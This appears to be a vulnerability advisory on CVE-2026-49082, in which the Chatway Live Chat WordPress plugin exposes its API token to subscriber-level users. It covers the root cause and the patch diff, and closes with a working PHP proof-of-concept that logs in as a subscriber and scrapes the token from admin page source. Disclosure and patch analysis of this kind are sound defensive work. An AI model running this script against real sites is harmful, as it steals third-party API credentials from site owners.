Atomic Edge analysis of CVE-2026-49082:
This vulnerability exposes sensitive information in the Chatway Live Chat plugin for WordPress (versions up to 1.4.8). Authenticated attackers with Subscriber-level access can extract the chatway_token option, which is an API authentication token. The vulnerability carries a CVSS score of 4.3 (medium severity).
Root Cause:
The root cause is a missing authorization check in the `enqueue_admin_assets()` method of `chatway-live-chat/app/Assets.php`. The method is called for any authenticated user loading admin pages. Lines 91-96 of the patched diff show the critical gap: the function includes JavaScript assets that pass the `chatway_token` option (line 129 in the diff) to the frontend via `wp_localize_script`. The token is retrieved with `get_option( ‘chatway_token’, ” )` and exposed to the JavaScript environment without verifying that the current user holds administrative privileges. The patched code adds `if (!current_user_can(‘manage_options’)) { return; }` at the start of the function, preventing non-admin users from loading the vulnerable assets.
Exploitation:
An authenticated attacker with Subscriber-level access navigates to any WordPress admin page where the Chatway plugin enqueues its admin assets. The JavaScript object defined via `wp_localize_script` contains the `token` property holding the chatway_token. An attacker can extract this token from the page source or by executing JavaScript in the browser console (e.g., via XSS or by inspecting the rendered script tag). The token is then usable to authenticate API requests to Chatway’s external service, potentially allowing unauthorized actions.
Patch Analysis:
The patch makes two key changes. First, in `Assets.php`, the `enqueue_admin_assets()` method now checks `current_user_can(‘manage_options’)` and exits early if the user lacks admin capabilities. This prevents non-admin users from loading the JavaScript that contains the token. Second, the `token` field is removed entirely from the localized script data (line 129 in the diff is deleted). The other modifications add a `chatway_logout()` static method to `ExternalApi.php` and call it from the `User::get_logout()` method, which handles token cleanup on logout. These changes ensure that only administrators can access the token and that it is properly removed during logout.
Impact:
Successful exploitation allows an authenticated Subscriber+ attacker to obtain the Chatway API token. With this token, an attacker could impersonate the site owner in interactions with Chatway’s external API, potentially reading or manipulating chat data, or performing administrative actions on the Chatway service. The confidentiality of chat conversations and user data may be compromised. The token exposure does not directly affect the WordPress installation itself, but it undermines the security of the third-party chat service integration.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/chatway-live-chat/app/Assets.php
+++ b/chatway-live-chat/app/Assets.php
@@ -91,7 +91,11 @@
public function enqueue_admin_assets() {
/**
* prepare dynamic dependencies
- */
+ */
+ if (!current_user_can('manage_options')) {
+ return;
+ }
+
$file_path = Chatway::require( 'assets/js/app.asset.php', true );
if( file_exists( $file_path ) ) {
$file = require $file_path;
@@ -122,7 +126,6 @@
'landingPage' => Url::landing_page(),
"termsOfService" => Url::terms_of_service(),
"privacyPolicy" => Url::privacy_policy(),
- 'token' => get_option( 'chatway_token', '' ),
'siteUrl' => get_site_url(),
]
);
--- a/chatway-live-chat/app/ExternalApi.php
+++ b/chatway-live-chat/app/ExternalApi.php
@@ -377,4 +377,24 @@
self::sync_chatway_sercet_key();
}
}
+
+ static function chatway_logout()
+ {
+ $token = get_option('chatway_token', '');
+ if(empty($token)) {
+ return;
+ }
+
+ $request = [
+ 'redirect' => 'follow',
+ 'headers' => [
+ 'Accept' => 'application/json',
+ 'Authorization' => 'Bearer ' . $token
+ ]
+ ];
+ $response = wp_remote_post(Url::remote_api( "/wordpress/logout" ), $request);
+ if(!is_wp_error($response) && 200 === wp_remote_retrieve_response_code($response)) {
+ delete_option('chatway_token');
+ }
+ }
}
No newline at end of file
--- a/chatway-live-chat/app/User.php
+++ b/chatway-live-chat/app/User.php
@@ -65,6 +65,7 @@
*/
public function get_logout() {
ExternalApi::sync_wp_plugin_version(Chatway::is_woocomerce_active(), 0);
+ ExternalApi::chatway_logout();
User::clear_chatway_keys();
if (function_exists('chatway_clear_all_caches')) {
chatway_clear_all_caches();
--- a/chatway-live-chat/assets/js/app.asset.php
+++ b/chatway-live-chat/assets/js/app.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-element', 'wp-hooks'), 'version' => '6de52efd8e62dd71a2bc');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-element', 'wp-hooks'), 'version' => '91fce472b1d92898ec4e');
--- a/chatway-live-chat/chatway.php
+++ b/chatway-live-chat/chatway.php
@@ -3,8 +3,8 @@
* Plugin Name: Chatway Live Chat
* Contributors: chatway, galdub, tomeraharon
* Description: Chatway is a live chat app. Use Chatway to chat with your website's visitors.
- * Version: 1.4.8
- * Tested up to: 6.9
+ * Version: 1.4.9
+ * Tested up to: 7.0
* Author: Chatway Live Chat
* Author URI: https://chatway.app/
* License: GPL v3 or later
@@ -29,7 +29,7 @@
* 4. readme.txt Stable tag
*/
public static function version() {
- return '1.4.8';
+ return '1.4.9';
}
/**
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49082 - Chatway Live Chat Token Exposure via Enqueued Script
/*
This script demonstrates extraction of the chatway_token from the localized script data.
The token is exposed in the JavaScript object created by wp_localize_script when the admin assets are loaded.
An authenticated subscriber can access any admin page and retrieve the token from the page source or AJAX response.
This PoC logs in as a subscriber, fetches the admin dashboard, and extracts the token from the JavaScript snippet.
*/
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$subscriber_username = 'subscriber'; // Replace with actual subscriber credentials
$subscriber_password = 'subscriber_password';
// Step 1: Login as subscriber
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $subscriber_username,
'pwd' => $subscriber_password,
'rememberme' => 'forever',
'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
// Step 2: Access admin dashboard to trigger enqueue_admin_assets
$admin_url = rtrim($target_url, '/') . '/wp-admin/';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookiejar.txt');
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Extract the token from the JavaScript snippet
// The token appears in: var chatwayAdmin = { ... token: '...' ... };
preg_match('/"token":"([^"]+)"/', $response, $matches);
if (!empty($matches[1])) {
echo "[+] Token extracted: " . $matches[1] . "n";
} else {
// Try alternative extraction: look for chatwayAdmin object in script tags
preg_match('/var chatwayAdmin = ({.*?});/', $response, $js_match);
if (!empty($js_match[1])) {
echo "[+] Found chatwayAdmin object. Token may be in this JSON:n";
echo $js_match[1] . "n";
// Attempt to parse JSON
$data = json_decode($js_match[1], true);
if (isset($data['token'])) {
echo "[+] Token extracted: " . $data['token'] . "n";
}
} else {
echo "[-] Token not found in page source. The plugin may be patched or not activated.n";
}
}
// Clean up
unlink('/tmp/cookiejar.txt');